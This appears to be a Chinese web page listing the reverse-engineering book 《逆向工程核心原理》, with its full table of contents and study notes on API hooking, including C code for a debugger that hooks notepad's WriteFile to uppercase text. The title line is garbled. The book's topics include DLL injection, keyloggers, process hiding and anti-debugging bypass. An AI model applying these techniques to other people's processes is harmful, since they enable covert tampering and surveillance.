ZwResumepthread_create函数函数的用法是?


分类于:
人工智能 设计
简介 资源最后更新于 2020-08-19 15:59:35 作者:[韩] 李承远译者:武传海出版社:人民邮电出版社出版日期:2014-01ISBN:9787115350183文件格式:
pdf
标签: 逆向工程 计算机 信息安全 编程 安全 黑客 程序设计 C++
简介· · · · · · 本书十分详尽地介绍了代码逆向分析的核心原理。作者在Ahnlab 研究所工作多年,书中不仅包括其以此经验为基础亲自编写的大量代码,还包含了逆向工程研究人员必须了解的各种技术和技巧。彻底理解并切实掌握逆向工程这门技术,就能在众多IT 相关领域进行拓展运用,这本书就是通向逆向工程大门的捷径。想成为逆向工程研究员的读者或正在从事逆向开发工作的开发人员一定会通过本书获得很大帮助。同时,想成为安全领域专家的人也可从本书轻松起步。
目录
目  录第一部分 代码逆向技术基础第1章 关于逆向工程 21.1 逆向工程 21.2 代码逆向工程 21.2.1 逆向分析法 21.2.2 源代码、十六进制代码、汇编代码 41.2.3 “打补丁”与“破解” 51.3 代码逆向准备 51.3.1 目标 51.3.2 激情 61.3.3 谷歌 61.4 学习逆向分析技术的禁忌 61.4.1 贪心 61.4.2 急躁 71.5 逆向分析技术的乐趣 7第2章 逆向分析Hello World!程序 82.1 Hello World!程序 82.2 调试HelloWorld.exe程序 92.2.1 调试目标 92.2.2 开始调试 92.2.3 入口点 102.2.4 跟踪40270C函数 102.2.5 跟踪40104F跳转语句 122.2.6 查找main()函数 122.3 进一步熟悉调试器 142.3.1 调试器指令 142.3.2 “大本营” 152.3.3 设置“大本营”的四种方法 152.4 快速查找指定代码的四种方法 172.4.1 代码执行法 182.4.2 字符串检索法 192.4.3 API检索法(1):在调用代码中设置断点 202.4.4 API检索法(2):在API代码中设置断点 212.5 使用“打补丁”方式修改“Hello World!”字符串 232.5.1 “打补丁” 232.5.2 修改字符串的两种方法 242.6 小结 28第3章 小端序标记法 313.1 字节序 313.1.1 大端序与小端序 323.1.2 在OllyDbg中查看小端序 32第4章 IA-32寄存器基本讲解 344.1 什么是CPU寄存器 344.2 IA-32寄存器 344.3 小结 40第5章 栈 415.1 栈 415.1.1 栈的特征 415.1.2 栈操作示例 41第6章 分析abex’ crackme#1 446.1 abex’ crackme #1 446.1.1 开始调试 456.1.2 分析代码 456.2 破解 476.3 将参数压入栈 476.4 小结 48第7章 栈帧 497.1 栈帧 497.2 调试示例:stackframe.exe 497.2.1 StackFrame.cpp 507.2.2 开始执行main()函数&生成栈帧 517.2.3 设置局部变量 527.2.4 add()函数参数传递与调用 537.2.5 开始执行add()函数&生成栈帧 547.2.6 设置add()函数的局部变量(x, y) 557.2.7 ADD运算 557.2.8 删除函数add()的栈帧&函数执行完毕(返回) 567.2.9 从栈中删除函数add()的参数(整理栈) 577.2.10 调用printf()函数 587.2.11 设置返回值 587.2.12 删除栈帧&main()函数终止 587.3 设置OllyDbg选项 597.3.1 Disasm选项 597.3.2 Analysis1选项 607.4 小结 61第8章 abex’ crackme #2 628.1 运行abex’ crackme #2 628.2 Visual Basic文件的特征 638.2.1 VB专用引擎 638.2.2 本地代码和伪代码 638.2.3 事件处理程序 638.2.4 未文档化的结构体 638.3 开始调试 638.3.1 间接调用 648.3.2 RT_MainStruct结构体 648.3.3 ThunRTMain()函数 658.4 分析crackme 658.4.1 检索字符串 658.4.2 查找字符串地址 668.4.3 生成Serial的算法 688.4.4 预测代码 698.4.5 读取Name字符串的代码 698.4.6 加密循环 708.4.7 加密方法 708.5 小结 72第9章 Process Explorer—— 最优秀的进程管理工具 749.1 Process Explorer 749.2 具体有哪些优点呢 759.3 sysinternals 75第10章 函数调用约定 7610.1 函数调用约定 7610.1.1 cdecl 7610.1.2 stdcall 7710.1.3 fastcall 78第11章 视频讲座 7911.1 运行 7911.2 分析 7911.2.1 目标(1):去除消息框 7911.2.2 打补丁(1):去除消息框 8111.2.3 目标(2):查找注册码 8311.3 小结 85第12章 究竟应当如何学习代码逆向分析 8612.1 逆向工程 8612.1.1 任何学习都应当有目标 8612.1.2 拥有积极心态 8612.1.3 要感受其中的乐趣 8612.1.4 让检索成为日常生活的一部分 8712.1.5 最重要的是实践 8712.1.6 请保持平和的心态 87第二部分 PE文件格式第13章 PE文件格式 9013.1 介绍 9013.2 PE文件格式 9013.2.1 基本结构 9113.2.2 VA&RVA 9213.3 PE头 9213.3.1 DOS头 9313.3.2 DOS存根 9413.3.3 NT头 9413.3.4 NT头:文件头 9513.3.5 NT头:可选头 9713.3.6 节区头 10113.4 RVA to RAW 10413.5 IAT 10513.5.1 DLL 10513.5.2 IMAGE_IMPORT_DESCRIPTOR 10713.5.3 使用notepad.exe练习 10813.6 EAT 11213.6.1 IMAGE_EXPORT_DIRECTORY 11313.6.2 使用kernel32.dll练习 11413.7 高级PE 11613.7.1 PEView.exe 11613.7.2 Patched PE 11713.8 小结 118第14章 运行时压缩 12114.1 数据压缩 12114.1.1 无损压缩 12114.1.2 有损压缩 12114.2 运行时压缩器 12214.2.1 压缩器 12214.2.2 保护器 12314.3 运行时压缩测试 123第15章 调试UPX压缩的notepad程序 12715.1 notepad.exe的EP代码 12715.2 notepad_upx.exe的EP代码 12715.3 跟踪UPX文件 12915.3.1 OllyDbg的跟踪命令 12915.3.2 循环 #1 12915.3.3 循环 #2 13015.3.4 循环 #3 13115.3.5 循环 #4 13115.4 快速查找UPX OEP的方法 13215.4.1 在POPAD指令后的JMP指令处设置断点 13215.4.2 在栈中设置硬件断点 13315.5 小结 133第16章 基址重定位表 13516.1 PE重定位 13516.1.1 DLL/SYS 13516.1.2 EXE 13616.2 PE重定位时执行的操作 13616.3 PE重定位操作原理 13816.3.1 基址重定位表 13816.3.2 IMAGE_BASE_RELOCATION结构体 13916.3.3 基址重定位表的分析方法 13916.3.4 练习 141第17章 从可执行文件中删除.reloc节区 14217.1 .reloc节区 14217.2 reloc.exe 14217.2.1 删除.reloc节区头 14217.2.2 删除.reloc节区 14317.2.3 修改IMAGE_FILE_HEADER 14317.2.4 修改IMAGE_OPTIONAL_HEADER 14417.3 小结 145第18章 UPack PE文件头详细分析 14618.1 UPack说明 14618.2 使用UPack压缩notepad.exe 14618.3 使用Stud_PE工具 14818.4 比较PE文件头 14818.4.1 原notepad.exe的PE文件头 14918.4.2 notepad_upack.exe运行时压缩的PE文件头 14918.5 分析UPack的PE文件头 15018.5.1 重叠文件头 15018.5.2 IMAGE_FILE_HEADER.SizeOfOptionalHeader 15018.5.3 IMAGE_OPTIONAL_HEADER.NumberOf-RvaAndSizes 15218.5.4 IMAGE_SECTION_HEADER 15318.5.5 重叠节区 15518.5.6 RVA to RAW 15618.5.7 导入表(IMAGE_IMPORT_DESCRIPTOR array) 15818.5.8 导入地址表 16018.6 小结 161第19章 UPack调试 ? 查找OEP 16219.1 OllyDbg运行错误 16219.2 解码循环 16319.3 设置IAT 16519.4 小结 166第20章 “内嵌补丁”练习 16720.1 内嵌补丁 16720.2 练习:Patchme 16820.3 调试:查看代码流 16820.4 代码结构 17220.5 “内嵌补丁”练习 17320.5.1 补丁代码要设置在何处呢 17320.5.2 制作补丁代码 17520.5.3 执行补丁代码 17620.5.4 结果确认 177第三部分 DLL注入第21章 Windows消息钩取 18021.1 钩子 18021.2 消息钩子 18021.3 SetWindowsHookEx() 18121.4 键盘消息钩取练习 18221.4.1 练习示例HookMain.exe 18221.4.2 分析源代码 18521.5 调试练习 18721.5.1 调试HookMain.exe 18821.5.2 调试Notepad.exe进程内的KeyHook.dll 19021.6 小结 192第22章 恶意键盘记录器 19422.1 恶意键盘记录器的目标 19422.1.1 在线游戏 19422.1.2 网上银行 19422.1.3 商业机密泄露 19422.2 键盘记录器的种类与发展趋势 19522.3 防范恶意键盘记录器 19522.4 个人信息 195第23章 DLL注入 19723.1 DLL注入 19723.2 DLL注入示例 19823.2.1 改善功能与修复Bug 19823.2.2 消息钩取 19823.2.3 API钩取 19823.2.4 其他应用程序 19923.2.5 恶意代码 19923.3 DLL注入的实现方法 19923.4 CreateRemoteThread() 19923.4.1 练习示例myhack.dll 19923.4.2 分析示例源代码 20323.4.3 调试方法 20823.5 AppInit_DLLs 21023.5.1 分析示例源码 21123.5.2 练习示例myhack2.dll 21223.6 SetWindowsHookEx() 21423.7 小结 214第24章 DLL卸载 21624.1 DLL卸载的工作原理 21624.2 实现DLL卸载 21624.2.1 获取进程中加载的DLL信息 21924.2.2 获取目标进程的句柄 22024.2.3 获取FreeLibrary() API地址 22024.2.4 在目标进程中运行线程 22024.3 DLL卸载练习 22024.3.1 复制文件及运行notepad.exe 22024.3.2 注入myhack.dll 22124.3.3 卸载myhack.dll 222第25章 通过修改PE加载DLL 22425.1 练习文件 22425.1.1 TextView.exe 22425.1.2 TextView_patched.exe 22525.2 源代码 - myhack3.cpp 22725.2.1 DllMain() 22725.2.2 DownloadURL() 22825.2.3 DropFile() 22925.2.4 dummy() 23025.3 修改TextView.exe文件的准备工作 23125.3.1 修改思路 23125.3.2 查看IDT是否有足够空间 23125.3.3 移动IDT 23325.4 修改TextView.exe 23525.4.1 修改导入表的RVA值 23525.4.2 删除绑定导入表 23525.4.3 创建新IDT 23525.4.4 设置Name、INT、IAT 23625.4.5 修改IAT节区的属性值 23825.5 检测验证 24025.6 小结 241第26章 PE Tools 24226.1 PE Tools 24226.1.1 进程内存转储 24326.1.2 PE编辑器 24526.2 小结 245第27章 代码注入 24727.1 代码注入 24727.2 DLL注入与代码注入 24727.3 练习示例 24927.3.1 运行notepad.exe 24927.3.2 运行CodeInjection.exe 24927.3.3 弹出消息框 25027.4 CodeInjection.cpp 25027.4.1 main()函数 25127.4.2 ThreadProc()函数 25127.4.3 InjectCode()函数 25427.5 代码注入调试练习 25627.5.1 调试notepad.exe 25627.5.2 设置OllyDbg选项 25627.5.3 运行CodeInjection.exe 25727.5.4 线程开始代码 25827.6 小结 259第28章 使用汇编语言编写注入代码 26028.1 目标 26028.2 汇编编程 26028.3 OllyDbg的汇编命令 26028.3.1 编写ThreadProc()函数 26228.3.2 保存文件 26528.4 编写代码注入程序 26628.4.1 获取ThreadProc()函数的二进制代码 26628.4.2 CodeInjection2.cpp 26728.5 调试练习 27028.5.1 调试notepad.exe 27028.5.2 设置OllyDbg选项 27028.5.3 运行CodeInjection2.exe 27128.5.4 线程起始代码 27228.6 详细分析 27228.6.1 生成栈帧 27228.6.2 THREAD_PARAM结构体指针 27328.6.3 “User32.dll”字符串 27428.6.4 压入“user32.dll”字符串参数 27428.6.5 调用LoadLibraryA(“user32.dll”) 27528.6.6 “MessageBoxA”字符串 27628.6.7 调用GetProcAddress(hMod,“MessageBoxA”) 27628.6.8 压入MessageBoxA()函数的参数 1 - MB_OK 27728.6.9 压入MessageBoxA()函数的参数 2 -“ReverseCore” 27728.6.10 压入MessageBoxA()函数的参数 3 -“www.reversecore.com” 27828.6.11 压入MessageBoxA()函数的参数 4 -NULL 27928.6.12 调用MessageBoxA() 27928.6.13 设置ThreadProc()函数的返回值 28028.6.14 删除栈帧及函数返回 28028.7 小结 280第四部分 API钩取第29章 API钩取:逆向分析之“花” 28229.1 钩取 28229.2 API是什么 28229.3 API钩取 28329.3.1 正常调用API 28329.3.2 钩取API调用 28429.4 技术图表 28429.4.1 方法对象(是什么) 28529.4.2 位置(何处) 28529.4.3 技术(如何) 28629.4.4 API 286第30章 记事本WriteFile() API钩取 28830.1 技术图表 - 调试技术 28830.2 关于调试器的说明 28930.2.1 术语 28930.2.2 调试器功能 28930.2.3 调试器的工作原理 28930.2.4 调试事件 28930.3 调试技术流程 29030.4 练习 29130.5 工作原理 29330.5.1 栈 29330.5.2 执行流 29530.5.3 “脱钩”&“钩子” 29530.6 源代码分析 29530.6.1 main() 29630.6.2 DebugLoop() 29630.6.3 EXIT_PROCESS_DEBUG_EVENT 29830.6.4 CREATE_PROCESS_DEBUG_EVENT-OnCreateProcess-DebugEvent() 29830.6.5 EXCEPTION_DEBUG_EVENT-OnException-DebugEvent() 300第31章 关于调试器 30531.1 OllyDbg 30531.2 IDA Pro 30531.3 WinDbg 306第32章 计算器显示中文数字 30832.1 技术图表 30832.2 选定目标API 30932.3 IAT钩取工作原理 31232.4 练习示例 31432.5 源代码分析 31632.5.1 DllMain() 31632.5.2 MySetWindowTextW() 31732.5.3 hook_iat() 31932.6 调试被注入的DLL文件 32232.6.1 DllMain() 32532.6.2 hook_iat() 32532.6.3 MySetWindowTextW() 32732.7 小结 328第33章 隐藏进程 32933.1 技术图表 32933.2 API代码修改技术的原理 32933.2.1 钩取之前 33033.2.2 钩取之后 33033.3 进程隐藏 33233.3.1 进程隐藏工作原理 33233.3.2 相关API 33233.3.3 隐藏技术的问题 33333.4 练习 #1(HideProc.exe,stealth.dll) 33333.4.1 运行notepad.exe、procexp.exe、taskmgr.exe 33433.4.2 运行HideProc.exe 33433.4.3 确认stealth.dll注入成功 33433.4.4 查看notepad.exe进程是否隐藏成功 33533.4.5 取消notepad.exe进程隐藏 33633.5 源代码分析 33633.5.1 HideProc.cpp 33633.5.2 stealth.cpp 33833.6 全局API钩取 34433.6.1 Kernel32.CreateProcess() API 34433.6.2 Ntdll.ZwResumeThread() API 34533.7 练习#2(HideProc2.exe,Stealth2.dll) 34533.7.1 复制stealth2.dll文件到%SYSTEM%文件夹中 34533.7.2 运行HideProc2.exe -hide 34633.7.3 运行ProcExp.exe&notepad.exe 34633.7.4 运行HideProc2.exe -show 34733.8 源代码分析 34833.8.1 HideProc2.cpp 34833.8.2 stealth2.cpp 34833.9 利用“热补丁”技术钩取API 35033.9.1 API代码修改技术的问题 35033.9.2 “热补丁”(修改7个字节代码) 35033.10 练习 #3:stealth3.dll 35333.11 源代码分析 35333.12 使用“热补丁”API钩取技术时需要考虑的问题 35633.13 小结 357第34章 高级全局API钩取:IE连接控制 35934.1 目标API 35934.2 IE进程结构 36134.3 关于全局API钩取的概念 36234.3.1 常规API钩取 36334.3.2 全局API钩取 36334.4 ntdll!ZwResumeThread() API 36434.5 练习示例:控制IE网络连接 36834.5.1 运行IE 36834.5.2 注入DLL 36934.5.3 创建新选项卡 36934.5.4 尝试连接网站 37034.5.5 卸载DLL 37134.5.6 课外练习 37234.6 示例源代码 37234.6.1 DllMain() 37234.6.2 NewInternetConnectW() 37334.6.3 NewZwResumeThread() 37434.7 小结 375第35章 优秀分析工具的五种标准 37635.1 工具 37635.2 代码逆向分析工程师 37635.3 优秀分析工具的五种标准 37635.3.1 精简工具数量 37735.3.2 工具功能简单、使用方便 37735.3.3 完全掌握各种功能 37735.3.4 不断升级更新 37735.3.5 理解工具的核心工作原理 37735.4 熟练程度的重要性 377第五部分 64位&Windows内核6第36章 64位计算 38036.1 64位计算环境 38036.1.1 64位CPU 38036.1.2 64位OS 38136.1.3 Win32 API 38136.1.4 WOW64 38136.1.5 练习:WOW64Test 38436.2 编译64位文件 38536.2.1 Microsoft Windows SDK(Software Development Kit) 38636.2.2 设置Visual C++ 2010 Express环境 386第37章 x64处理器 38937.1 x64中新增或变更的项目 38937.1.1 64位 38937.1.2 内存 38937.1.3 通用寄存器 38937.1.4 CALL/JMP指令 39037.1.5 函数调用约定 39137.1.6 栈 & 栈帧 39237.2 练习:Stack32.exe & Stack64.exe 39237.2.1 Stack32.exe 39237.2.2 Stack64.exe 39437.3 小结 397第38章 PE32+ 39838.1 PE32+(PE+、PE64) 39838.1.1 IMAGE_NT_HEADERS 39838.1.2 IMAGE_FILE_HEADER 39838.1.3 IMAGE_OPTIONAL_HEADER 39938.1.4 IMAGE_THUNK_DATA 40138.1.5 IMAGE_TLS_DIRECTORY 403第39章 WinDbg 40539.1 WinDbg 40539.1.1 WinDbg的特征 40539.1.2 运行WinDbg 40639.1.3 内核调试 40739.1.4 WinDbg基本指令 409第40章 64位调试 41140.1 x64环境下的调试器 41140.2 64位调试 41140.3 PE32:WOW64Test_x86.exe 41340.3.1 EP代码 41440.3.2 Startup代码 41440.3.3 main()函数 41540.4 PE32+:WOW64Test_x64.exe 41640.4.1 系统断点 41640.4.2 EP代码 41740.4.3 Startup代码 41840.4.4 main()函数 42040.5 小结 423第41章 ASLR 42441.1 Windows内核版本 42441.2 ASLR 42441.3 Visual C++ 42441.4 ASLR.exe 42541.4.1 节区信息 42641.4.2 IMAGE_FILE_HEADER\Characteristics 42741.4.3 IMAGE_OPTIONAL_HEADER\DLL Characteristics 42841.5 练习:删除ASLR功能 428第42章 内核6中的会话 43042.1 会话 43042.2 会话0隔离机制 43242.3 增强安全性 432第43章 内核6中的DLL注入 43343.1 再现DLL注入失败 43343.1.1 源代码 43343.1.2 注入测试 43543.2 原因分析 43643.2.1 调试 #1 43643.2.2 调试 #2 43843.3 练习:使CreateRemoteThread()正常工作 44043.3.1 方法 #1:修改CreateSuspended参数值 44043.3.2 方法 #2:操纵条件分支 44143.4 稍作整理 44343.5 InjectDll_new.exe 44343.5.1 InjectDll_new.cpp 44343.5.2 注入练习 446第44章 InjDll.exe:DLL注入专用工具 44844.1 InjDll.exe 44844.1.1 使用方法 44844.1.2 使用示例 44944.1.3 注意事项 450第六部分 高级逆向分析技术第45章 TLS回调函数 45245.1 练习 #1:HelloTls.exe 45245.2 TLS 45345.2.1 IMAGE_DATA_DIRECTORY[9] 45345.2.2 IMAGE_TLS_DIRECTORY 45445.2.3 回调函数地址数组 45445.3 TLS回调函数 45545.4 练习 #2:TlsTest.exe 45645.4.1 DLL_PROCESS_ATTACH 45745.4.2 DLL_THREAD_ATTACH 45745.4.3 DLL_THREAD_DETACH 45745.4.4 DLL_PROCESS_DETACH 45745.5 调试TLS回调函数 45845.6 手工添加TLS回调函数 45945.6.1 修改前的原程序 46045.6.2 设计规划 46045.6.3 编辑PE文件头 46145.6.4 设置IMAGE_TLS_DIRECTORY结构体 46345.6.5 编写TLS回调函数 46445.6.6 最终完成 46445.7 小结 465第46章 TEB 46646.1 TEB 46646.1.1 TEB结构体的定义 46646.1.2 TEB结构体成员 46646.1.3 重要成员 46946.2 TEB访问方法 47046.2.1 Ntdll.NtCurrentTeb() 47046.2.2 FS段寄存器 47146.3 小结 472第47章 PEB 47347.1 PEB 47347.1.1 PEB访问方法 47347.1.2 PEB结构体的定义 47447.1.3 PEB结构体的成员 47547.2 PEB的重要成员 47747.2.1 PEB.BeingDebugged 47847.2.2 PEB.ImageBaseAddress 47847.2.3 PEB.Ldr 47947.2.4 PEB.ProcessHeap & PEB.NtGlobalFlag 48047.3 小结 480第48章 SEH 48148.1 SEH 48148.2 SEH练习示例 #1 48148.2.1 正常运行 48148.2.2 调试运行 48248.3 OS的异常处理方法 48448.3.1 正常运行时的异常处理方法 48448.3.2 调试运行时的异常处理方法 48448.4 异常 48548.4.1 EXCEPTION_ACCESS_VIOLATION(C0000005) 48648.4.2 EXCEPTION_BREAKPOINT(80000003) 48648.4.3 EXCEPTION_ILLEGAL_INSTRUCTION(C000001D) 48848.4.4 EXCEPTION_INT_DIVIDE_BY_ZERO(C0000094) 48848.4.5 EXCEPTION_SINGLE_STEP(80000004) 48948.5 SEH详细说明 48948.5.1 SEH链 48948.5.2 异常处理函数的定义 48948.5.3 TEB.NtTib.ExceptionList 49148.5.4 SEH安装方法 49248.6 SEH练习示例 #2(seh.exe) 49248.6.1 查看SEH链 49348.6.2 添加SEH 49348.6.3 发生异常 49448.6.4 查看异常处理器参数 49448.6.5 调试异常处理器 49648.6.6 删除SEH 49848.7 设置OllyDbg选项 49948.7.1 忽略KERNEL32中发生的内存非法访问异常 50048.7.2 向被调试者派送异常 50048.7.3 其他异常处理 50048.7.4 简单练习 50048.8 小结 501第49章 IA-32指令 50249.1 IA-32指令 50249.2 常用术语 50249.2.1 反汇编器 50349.2.2 反编译器 50449.2.3 反编译简介 50449.3 IA-32指令格式 50649.3.1 指令前缀 50749.3.2 操作码 50749.3.3 ModR/M 50749.3.4 SIB 50849.3.5 位移 50849.3.6 立即数 50949.4 指令解析手册 50949.4.1 下载IA-32用户手册 50949.4.2 打印指令解析手册 50949.5 指令解析练习 51049.5.1 操作码映射 51049.5.2 操作数 51149.5.3 ModR/M 51249.5.4 Group 51449.5.5 前缀 51649.5.6 双字节操作码 51849.5.7 移位值&立即数 51949.5.8 SIB 52049.6 指令解析课外练习 52449.7 小结 524第七部分 反调试技术第50章 反调试技术 52650.1 反调试技术 52650.1.1 依赖性 52650.1.2 多种反调试技术 52650.2 反调试破解技术 52650.3 反调试技术的分类 52750.3.1 静态反调试技术 52850.3.2 动态反调试技术 528第51章 静态反调试技术 52951.1 静态反调试的目的 52951.2 PEB 52951.2.1 BeingDebugged(+0x2) 53151.2.2 Ldr(+0xC) 53151.2.3 Process Heap(+0x18) 53251.2.4 NtGlobalFlag(+0x68) 53351.2.5 练习:?StaAD_PEB.exe 53451.2.6 破解之法 53451.3 NtQueryInformationProcess() 53751.3.1 ProcessDebugPort(0x7) 53851.3.2 ProcessDebugObjectHandle(0x1E) 53951.3.3 ProcessDebugFlags(0x1F) 53951.3.4 练习:StaAD_NtQIP.exe 54051.3.5 破解之法 54051.4 NtQuerySystemInformation() 54251.4.1 SystemKernelDebugger-Information(0x23) 54451.4.2 练习:StaAD_NtQSI.exe 54551.4.3 破解之法 54551.5 NtQueryObject() 54551.6 ZwSetInformationThread() 54951.6.1 练习:StaAD_ZwSIT.exe 54951.6.2 破解之法 55051.7 TLS回调函数 55051.8 ETC 55151.8.1 练习:StaAD_FindWindow.exe 55151.8.2 破解之法 55151.9 小结 553第52章 动态反调试技术 55452.1 动态反调试技术的目的 55452.2 异常 55452.2.1 SEH 55452.2.2 SetUnhandledException-Filter() 55852.3 Timing Check 56252.3.1 时间间隔测量法 56252.3.2 RDTSC 56352.4 陷阱标志 56552.4.1 单步执行 56652.4.2 INT 2D 56952.5 0xCC探测 57252.5.1 API断点 57352.5.2 比较校验和 575第53章 高级反调试技术 57753.1 高级反调试技术 57753.2 垃圾代码 57753.3 扰乱代码对齐 57853.4 加密/解密 58153.4.1 简单的解码示例 58153.4.2 复杂的解码示例 58253.4.3 特殊情况:代码重组 58453.5 Stolen Bytes(Remove OEP) 58453.6 API重定向 58753.6.1 原代码 58853.6.2 API重定向示例 #1 58853.6.3 API重定向示例#2 58953.7 Debug Blocker(Self Debugging) 59353.8 小结 595第八部分 调试练习第54章 调试练习1:服务 59854.1 服务进程的工作原理 59854.1.1 服务控制器 59854.1.2 服务启动过程 59954.2 DebugMe1.exe示例讲解 60054.2.1 安装服务 60054.2.2 启动服务 60254.2.3 源代码 60454.3 服务进程的调试 60654.3.1 问题在于SCM 60654.3.2 调试器无所不能 60654.3.3 常用方法 60654.4 服务调试练习 60654.4.1 直接调试:强制设置EIP 60654.4.2 服务调试的常用方法:“附加”方式 60954.5 小结 615第55章 调试练习2:自我创建 61655.1 自我创建 61655.2 工作原理 61755.2.1 创建子进程(挂起模式) 61755.2.2 更改EIP 61855.2.3 恢复主线程 61855.3 示例程序源代码 61855.4 调试练习 62055.4.1 需要考虑的事项 62055.4.2 JIT调试 62155.4.3 DebugMe2.exe 62255.5 小结 626第56章 调试练习3:PE映像切换 62756.1 PE映像 62756.2 PE映像切换 62856.3 示例程序:Fake.exe、Real.exe、DebugMe3.exe 62856.4 调试1 63156.4.1 Open ? 输入运行参数 63156.4.2 main()函数 63256.4.3 SubFunc_1() 63456.4.4 CreateProcess(“fake.exe”,CREATE_SUSPENDED) 63556.4.5 SubFunc_2() 63556.4.6 SubFunc_3() 64156.4.7 ResumeThread() 64456.5 调试2 64456.5.1 思考 64556.5.2 向EP设置无限循环 64556.6 小结 647第57章 调试练习4:Debug Blocker 64857.1 Debug Blocker 64857.2 反调试特征 64857.2.1 父与子的关系 64957.2.2 被调试进程不能再被其他调试器调试 64957.2.3 终止调试进程的同时也终止被调试进程 64957.2.4 调试器操作被调试者的代码 64957.2.5 调试器处理被调试进程中发生的异常 64957.3 调试练习:DebugMe4.exe 65057.4 第一次调试 65057.4.1 选定调试的起始位置 65057.4.2 main() 65057.5 第二次调试 65157.6 第三次调试 65357.7 第四次调试 65657.8 第五次调试 65857.8.1 系统断点 65857.8.2 EXCEPTION_ILLEGAL_INSTRUCTION(1) 65957.8.3 EXCEPTION_ILLEGAL_INSTRUCTION(2) 66057.9 第六次调试 66157.9.1 40121D(第一个异常) 66157.9.2 401299(第二个异常) 66557.10 第七次调试 66757.10.1 静态方法 66857.10.2 动态方法 66957.11 小结 673结束语 674索引 676
API钩取前言继续学习《逆向工程核心原理》,本篇笔记是第四部分:API钩取,主要介绍了调试钩取、DLL注入实现IAT钩取、API代码修改钩取和全局API钩取等内容一、API钩取简介1、基础概念钩取(Hook):截取信息、更改程序执行流向、添加新功能的技术
使用反汇编/调试器把握程序结构与原理
开发Hook代码,以修改bug、改善程序功能
灵活操作可执行文件和进程内存,设置Hook代码API(Application Programming Interface):可以认为是调用资源的路径,notepad.exe为例如下图所示其API调用如下:
API钩取:对Win32 API的钩取,一个例子如下图所示2、技术图表(下划线的是常用且好用的方法)二、调试钩取技术通过调试钩取技术,来钩取kernel32!WriteFile() API1、调试器调试器(Debbuger):能逐一执行被调试者的指令,拥有对寄存器和内存的所有访问权限,工作原理如下图所示调试事件共9种,见微软官方调试事件
其中,与调试相关的是EXCEPTION_DEBUG_EVENT,与其相关的异常列表如下:其中,调试器必须处理的是EXCEPTION_BREAKPOINT(断点),对应汇编指令是INT3,IA-32指令是0xCC要设置断点时,只需将代码在内存中的起始地址的1个字节设置为0xCC即可,想继续调试就把它恢复2、调试流程基本思路:被调试者的API起始部份修改为0xCC,控制权转移到调试器后执行指定操作,最后使被调试者重新进入运行状态
对目标进程进行附加操作,使之成为被调试者
Hook:API起始地址的第1个字节修改为0xCC
调用相应API,控制权转移到调试器
执行操作:操作参数、返回值等
脱钩:0xCC恢复原值
运行相应API(正常状态)
Hook:再次修改为0xCC(继续钩取)
控制权返还被调试者3、示例:记事本 WriteFile() API钩取目标是将notepad.exe中所有小写字母都变成大写字母WriteFile() 定义如下:BOOL WriteFile(
HANDLE
hFile, //文件句柄
LPCVOID lpBuffer, //数据缓存区指针
DWORD
nNumberOfBytesToWrite, //要写的字节数
LPDWORD lpNumberOfBytesWritten, //用于保存实际写入字节数的存储区域的指针
LPOVERLAPPED lpOverlapped //OVERLAPPED结构体指针
);(1)hookdbg.exe源码如下:// hookdbg.exe
#include "windows.h"
#include "stdio.h"
LPVOID g_pfWriteFile = NULL;
CREATE_PROCESS_DEBUG_INFO g_cpdi;
BYTE g_chINT3 = 0xCC, g_chOrgByte = 0;
BOOL OnCreateProcessDebugEvent(LPDEBUG_EVENT pde)
{
// 获取 WriteFile() API 地址(注意是调试进程的内存地址,不是被调试进程)
g_pfWriteFile = GetProcAddress(GetModuleHandleA("kernel32.dll"), "WriteFile");
// API Hook - WriteFile()
//
更改第一个字节为 0xCC (INT 3)
//
(orginal byte 是g_chOrgByte备份)
memcpy(&g_cpdi, &pde->u.CreateProcessInfo, sizeof(CREATE_PROCESS_DEBUG_INFO));
ReadProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
BOOL OnExceptionDebugEvent(LPDEBUG_EVENT pde)
{
CONTEXT ctx;
PBYTE lpBuffer = NULL;
DWORD dwNumOfBytesToWrite, dwAddrOfBuffer, i;
PEXCEPTION_RECORD per = &pde->u.Exception.ExceptionRecord;
// 断点异常 (INT 3)
if( EXCEPTION_BREAKPOINT == per->ExceptionCode )
{
// 断点地址为 WriteFile() API 地址
if( g_pfWriteFile == per->ExceptionAddress )
{
// #1. Unhook
//
0xCC 恢复为 original byte
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chOrgByte, sizeof(BYTE), NULL);
// #2. 获取线程上下文
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(g_cpdi.hThread, &ctx);
// #3. 获取 WriteFile() 的 param 2, 3 值
//
函数参数存在于相应进程的栈
//
param 2 : ESP + 0x8 缓冲区地址
//
param 3 : ESP + 0xC 缓冲区大小
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0x8),
&dwAddrOfBuffer, sizeof(DWORD), NULL);
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)(ctx.Esp + 0xC),
&dwNumOfBytesToWrite, sizeof(DWORD), NULL);
// #4. 分配临时缓冲区
lpBuffer = (PBYTE)malloc(dwNumOfBytesToWrite+1);
memset(lpBuffer, 0, dwNumOfBytesToWrite+1);
// #5. 复制 WriteFile() 缓冲区到临时缓冲区
ReadProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
printf("\n### original string ###\n%s\n", lpBuffer);
// #6. 小写字母 -> 大写字母
for( i = 0; i < dwNumOfBytesToWrite; i++ )
{
if( 0x61 <= lpBuffer[i] && lpBuffer[i] <= 0x7A )
lpBuffer[i] -= 0x20;
}
printf("\n### converted string ###\n%s\n", lpBuffer);
// #7. 变换后的缓冲区复制到 WriteFile() 缓冲区
WriteProcessMemory(g_cpdi.hProcess, (LPVOID)dwAddrOfBuffer,
lpBuffer, dwNumOfBytesToWrite, NULL);
// #8. 释放临时缓冲区
free(lpBuffer);
// #9. 线程上下文的 EIP 改为 WriteFile() 首地址
//
(当前为 WriteFile() + 1 位置,INT3命令后)
ctx.Eip = (DWORD)g_pfWriteFile;
SetThreadContext(g_cpdi.hThread, &ctx);
// #10. 运行被调试者
ContinueDebugEvent(pde->dwProcessId, pde->dwThreadId, DBG_CONTINUE);
Sleep(0);
// #11. API Hook
WriteProcessMemory(g_cpdi.hProcess, g_pfWriteFile,
&g_chINT3, sizeof(BYTE), NULL);
return TRUE;
}
}
return FALSE;
}
